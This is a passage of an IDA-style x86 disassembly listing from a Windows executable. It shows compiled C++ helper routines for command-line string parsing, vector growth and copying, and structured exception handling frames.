mov byte ptr [esp+44h+var_4], 2
call sub_4014D3
mov [esp+44h+var_3C], eax
mov cl, [eax]
test cl, cl
jz loc_40A555
push ebx
loc_40A4B1: ; CODE XREF: sub_40A430+11Ej
mov dl, [edi]
cmp cl, dl
jnz short loc_40A4C0
loc_40A4B7: ; CODE XREF: sub_40A430+8Ej
inc eax
mov [esp+48h+var_3C], eax
cmp [eax], dl
jz short loc_40A4B7
loc_40A4C0: ; CODE XREF: sub_40A430+85j
cmp byte ptr [eax], 22h
setz bl
test bl, bl
jz short loc_40A4CF
inc eax
mov [esp+48h+var_3C], eax
loc_40A4CF: ; CODE XREF: sub_40A430+98j
lea edx, [esp+48h+var_3C]
lea ecx, [esp+48h+var_34]
push edx
call sub_401988
mov eax, [esp+48h+var_3C]
test bl, bl
mov cl, [eax]
jz short loc_40A51F
test cl, cl
jz short loc_40A507
loc_40A4EB: ; CODE XREF: sub_40A430+D5j
cmp cl, 22h
jnz short loc_40A4FC
mov cl, [eax+1]
cmp cl, 20h
jz short loc_40A507
test cl, cl
jz short loc_40A507
loc_40A4FC: ; CODE XREF: sub_40A430+BEj
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A4EB
loc_40A507: ; CODE XREF: sub_40A430+B9j
; sub_40A430+C6j ...
cmp byte ptr [eax], 0
jz short loc_40A54A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
mov cl, [eax+1]
test cl, cl
jz short loc_40A54A
add eax, 2
jmp short loc_40A546
; ---------------------------------------------------------------------------
loc_40A51F: ; CODE XREF: sub_40A430+B5j
test cl, cl
jz short loc_40A534
mov dl, [edi]
loc_40A525: ; CODE XREF: sub_40A430+102j
cmp cl, dl
jz short loc_40A534
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A525
loc_40A534: ; CODE XREF: sub_40A430+F1j
; sub_40A430+F7j
mov cl, [eax]
test cl, cl
jz short loc_40A54A
cmp cl, [edi]
jnz short loc_40A54A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
inc eax
loc_40A546: ; CODE XREF: sub_40A430+EDj
mov [esp+48h+var_3C], eax
loc_40A54A: ; CODE XREF: sub_40A430+DAj
; sub_40A430+E8j ...
mov cl, [eax]
test cl, cl
jnz loc_40A4B1
pop ebx
loc_40A555: ; CODE XREF: sub_40A430+7Aj
lea ecx, [esp+44h+var_34]
call sub_4011F9
mov ecx, [esp+44h+arg_4]
cmp ecx, eax
jb short loc_40A56D
push offset byte_446F70
jmp short loc_40A57A
; ---------------------------------------------------------------------------
loc_40A56D: ; CODE XREF: sub_40A430+134j
push ecx
lea ecx, [esp+48h+var_34]
call sub_401F64
mov eax, [eax]
push eax
loc_40A57A: ; CODE XREF: sub_40A430+13Bj
mov esi, [esp+48h+arg_0]
mov ecx, esi
call sub_401861
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_38], 1
call sub_401226
lea ecx, [esp+44h+var_34]
mov byte ptr [esp+44h+var_4], 0
call sub_40158C
; ---------------------------------------------------------------------------
loc_40A5A4: ; CODE XREF: sub_40A430+3Cj
mov ecx, [esp+44h+var_C]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_40A430 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A630 proc near ; CODE XREF: sub_4016AEj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ecx
mov eax, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push 0
push eax
push edx
push esi
mov [esp+18h+var_4], 0
call sub_4011EA
mov eax, esi
pop esi
pop ecx
retn 0Ch
sub_40A630 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A670 proc near ; CODE XREF: sub_40200Ej
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015D7
pop esi
retn 4
sub_40A670 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A6A0 proc near ; CODE XREF: sub_401A87j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015D7
retn 4
sub_40A6A0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A6C0 proc near ; CODE XREF: sub_40146Fj
arg_0 = dword ptr 4
mov eax, [ecx+9]
mov ecx, [esp+arg_0]
add eax, ecx
retn 4
sub_40A6C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A6E0: ; CODE XREF: ___:0040149Cj
mov eax, [ecx+9]
mov ecx, [esp+4]
add eax, ecx
retn 4
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A700 proc near ; CODE XREF: sub_401389j
mov eax, [ecx+9]
retn
sub_40A700 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A720 proc near ; CODE XREF: sub_4017E4j
mov eax, [ecx+9]
retn
sub_40A720 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A740 proc near ; CODE XREF: sub_4014D3j
mov eax, [ecx+9]
retn
sub_40A740 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A760 proc near ; CODE XREF: sub_401690j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_40A760 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40A790 proc near ; CODE XREF: sub_40158Cj
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019A6
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
sub_40A790 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7E0 proc near ; CODE XREF: sub_4011F9j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40A7EA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40A7EA: ; CODE XREF: sub_40A7E0+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_40A7E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A810 proc near ; CODE XREF: sub_401F64j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_4011F9
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_40A828
mov ecx, esi
call sub_401EE7
loc_40A828: ; CODE XREF: sub_40A810+Fj
mov ecx, esi
call sub_401D1B
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_40A810 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A850 proc near ; CODE XREF: sub_401988j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40164F
push eax
mov ecx, esi
call sub_4016EF
pop esi
retn 4
sub_40A850 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A880 proc near ; CODE XREF: sub_401D1Bj
mov eax, [ecx+4]
retn
sub_40A880 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8A0 proc near ; CODE XREF: sub_40164Fj
mov eax, [ecx+8]
retn
sub_40A8A0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8C0 proc near ; CODE XREF: sub_4016EFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401D1B
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_4013CF
mov ecx, edi
call sub_401D1B
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_40A8C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A910 proc near ; CODE XREF: sub_4019A6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_40A930
loc_40A921: ; CODE XREF: sub_40A910+1Ej
push esi
mov ecx, edi
call sub_4018B1
add esi, 4
cmp esi, ebx
jnz short loc_40A921
loc_40A930: ; CODE XREF: sub_40A910+Fj
pop edi
pop esi
pop ebx
retn 8
sub_40A910 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A950: ; CODE XREF: sub_401EE7j
push 0FFFFFFFFh
push offset loc_438AB9
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3]
lea ecx, [esp+4]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
nop
call near ptr 76081F67h
lea ecx, [esp+4]
mov dword ptr [esp+38h], 0
push ecx
lea ecx, [esp+18h]
call near ptr 760A0430h
nop
lea edx, [esp+14h]
push offset dword_43F080
push edx
call sub_436832
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40A9D0 proc near ; CODE XREF: sub_4011EFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_40A9D0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A9F0 proc near ; CODE XREF: sub_4013CFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_40AABB
mov ecx, esi
call sub_4011F9
cmp edi, eax
jnb short loc_40AA23
mov ecx, esi
call sub_4011F9
mov ebp, eax
jmp short loc_40AA25
; ---------------------------------------------------------------------------
loc_40AA23: ; CODE XREF: sub_40A9F0+26j
mov ebp, edi
loc_40AA25: ; CODE XREF: sub_40A9F0+31j
mov ecx, esi
call sub_4011F9
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401DCF
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4010CD
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_402176
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019A6
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_4011F9
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AABB: ; CODE XREF: sub_40A9F0+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_40AB19
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_402176
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401E6F
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AB19: ; CODE XREF: sub_40A9F0+D8j
test edi, edi
jbe short loc_40AB53
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4010CD
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_4020AE
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401E6F
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_40AB53: ; CODE XREF: sub_40A9F0+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40A9F0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ABC0 proc near ; CODE XREF: sub_4018B1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_1
pop ecx
retn 4
sub_40ABC0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ABE0 proc near ; CODE XREF: sub_4010CDj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_40AC12
push edi
mov edi, [esp+10h+arg_8]
loc_40ABF6: ; CODE XREF: sub_40ABE0+27j
push esi
push edi
mov ecx, ebx
call sub_402121
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_40ABF6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AC12: ; CODE XREF: sub_40ABE0+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40ABE0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AC30 proc near ; CODE XREF: sub_402176j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_40AC57
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_40AC46: ; CODE XREF: sub_40AC30+23j
push ebx
push esi
mov ecx, ebp
call sub_402121
add esi, 4
dec edi
jnz short loc_40AC46
pop esi
pop ebx
loc_40AC57: ; CODE XREF: sub_40AC30+Aj
pop edi
pop ebp
retn 0Ch
sub_40AC30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AC70 proc near ; CODE XREF: sub_401DCFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4014CE
sub_40AC70 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACA0 proc near ; CODE XREF: sub_402121j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401DE8
add esp, 8
retn 8
sub_40ACA0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACD0 proc near ; CODE XREF: sub_401E6Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40ACED
mov edx, [esp+arg_8]
push esi
loc_40ACE1: ; CODE XREF: sub_40ACD0+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_40ACE1
pop esi
locret_40ACED: ; CODE XREF: sub_40ACD0+Aj
retn
sub_40ACD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD00 proc near ; CODE XREF: sub_4020AEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_40AD22
mov eax, [esp+arg_8]
push esi
loc_40AD11: ; CODE XREF: sub_40AD00+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_40AD11
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AD22: ; CODE XREF: sub_40AD00+Aj
mov eax, [esp+arg_8]
retn
sub_40AD00 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AD60 proc near ; CODE XREF: sub_4014CEj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40AD6A
xor eax, eax
loc_40AD6A: ; CODE XREF: sub_40AD60+6j
shl eax, 2
push eax
call sub_4367FA
sub_40AD60 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD90 proc near ; CODE XREF: sub_401DE8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40ADAB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40ADAB: ; CODE XREF: sub_40AD90+11j
retn
sub_40AD90 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ADC0 proc near ; CODE XREF: sub_401E6Aj
mov eax, ecx
mov dword ptr [eax], offset off_43E014
retn
sub_40ADC0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40ADE0: ; CODE XREF: ___:00401717j
; ___:loc_402027j
push esi
mov esi, ecx
call sub_402031
test byte ptr [esp+8], 1
jz short loc_40ADF8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40ADF8: ; CODE XREF: ___:0040ADEDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE10 proc near ; CODE XREF: sub_402031j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40AE10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
push edi
mov dword ptr [ecx], offset off_43E014
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call sub_401744
loc_40AE41: ; DATA XREF: sub_40AE52o
mov ecx, [ebp+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AE10 endp
; =============== S U B R O U T I N E =======================================
sub_40AE52 proc near ; DATA XREF: ___:0043F1BCo
mov eax, offset loc_40AE41
retn
sub_40AE52 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AE80 proc near ; CODE XREF: sub_4014BAj
call sub_401708
jmp sub_4017B2
sub_40AE80 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AEA0 proc near ; CODE XREF: sub_401B18j
call sub_40161D
jmp sub_4017C1
sub_40AEA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AEC0 proc near ; CODE XREF: sub_4013D4j
push esi
mov esi, ecx
push esi
push offset sub_40141F
lea eax, [esi+0Ch]
push 0
push eax
call sub_40123A
add esp, 10h
test eax, eax
jnz short loc_40AEE2
mov al, 1
mov [esi+10h], al
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AEE2: ; CODE XREF: sub_40AEC0+19j
mov byte ptr [esi+10h], 0
xor al, al
pop esi
retn
sub_40AEC0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AF00: ; CODE XREF: ___:004011C2j
push ecx
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40AF27
mov ecx, [esi+0Ch]
lea eax, [esp+4]
push eax
push ecx
call sub_40175D
mov eax, [esp+0Ch]
add esp, 8
mov byte ptr [esi+10h], 0
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40AF27: ; CODE XREF: ___:0040AF09j
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF40 proc near ; CODE XREF: sub_401744j
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40AF5C
mov eax, [esi+0Ch]
push 0Fh
push eax
call sub_401758
add esp, 8
mov byte ptr [esi+10h], 0
loc_40AF5C: ; CODE XREF: sub_40AF40+8j
pop esi
retn
sub_40AF40 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AF70: ; CODE XREF: ___:004011F4j
mov eax, [ecx+0Ch]
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF90 proc near ; CODE XREF: sub_40141Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40AF90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov eax, [ecx]
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call dword ptr [eax+4]
loc_40AFBE: ; DATA XREF: sub_40AFD1o
mov ecx, [ebp+var_C]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AF90 endp
; =============== S U B R O U T I N E =======================================
sub_40AFD1 proc near ; DATA XREF: ___:0043F21Co
mov eax, offset loc_40AFBE
retn
sub_40AFD1 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B000 proc near ; CODE XREF: sub_401028j
var_8 = dword ptr -8
var_4 = byte ptr -4
sub esp, 8
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B042
mov edx, [esi+0Ch]
lea eax, [esp+0Ch+var_8]
lea ecx, [esp+0Ch+var_4]
push eax
push ecx
push edx
call sub_40218F
mov edx, [esi+0Ch]
mov eax, [esp+18h+var_8]
lea ecx, [esp+18h+var_8]
mov [esi+8], eax
push ecx
push 1
push edx
mov [esp+24h+var_8], 0
call sub_401050
add esp, 18h
loc_40B042: ; CODE XREF: sub_40B000+Bj
pop esi
add esp, 8
retn
sub_40B000 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B070 proc near ; CODE XREF: sub_401DCAj
var_4 = dword ptr -4
push ecx
mov al, [ecx+10h]
test al, al
jz short loc_40B092
mov eax, [ecx+8]
lea edx, [esp+4+var_4]
mov [esp+4+var_4], eax
mov eax, [ecx+0Ch]
push edx
push 1
push eax
call sub_401050
add esp, 0Ch
loc_40B092: ; CODE XREF: sub_40B070+6j
pop ecx
retn
sub_40B070 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B0B0 proc near ; CODE XREF: sub_4019F1j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B0B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+1Ch+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+1Ch+var_4], 1
call sub_401749
lea edi, [esi+8Eh]
lea eax, [esp+1Ch+var_11]
push eax
mov ecx, edi
mov byte ptr [esp+20h+var_4], 2
call sub_401BF4
sub_40B0B0 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 3
mov dword ptr [esi], offset off_43E020
call sub_401BEF
mov ecx, [esp+10h]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B170 proc near ; CODE XREF: sub_401AE6j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B170
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push edi
mov [esp+18h+var_10], esi
mov dword ptr [esi], offset off_43E020
lea edi, [esi+8Eh]
mov [esp+18h+var_4], 3
mov ecx, edi
call sub_401BEF
mov ecx, edi
mov byte ptr [esp+18h+var_4], 2
call sub_401555
sub_40B170 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+60h]
mov byte ptr [esp+14h], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+0Ch]
pop edi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B210 proc near ; CODE XREF: sub_4017EEj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B210
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
mov esi, ecx
lea ecx, [esi+8Eh]
call sub_401BEF
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Eh
push 12h
push 1
push 16h
lea eax, [esp+64h+var_3C]
push 3
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_40B210 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 7
push 4Fh
push 12h
push 1
push 16h
lea edx, [esp+24h]
push 3
push edx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
push 13h
push 4Eh
push 12h
push 1
push 16h
lea ecx, [esp+3Ch]
push 3
push ecx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 2
call sub_4017E4
add esi, 60h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
mov dword ptr [esp+3Ch], 0FFFFFFFFh
lea ecx, [esp+1Ch]
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
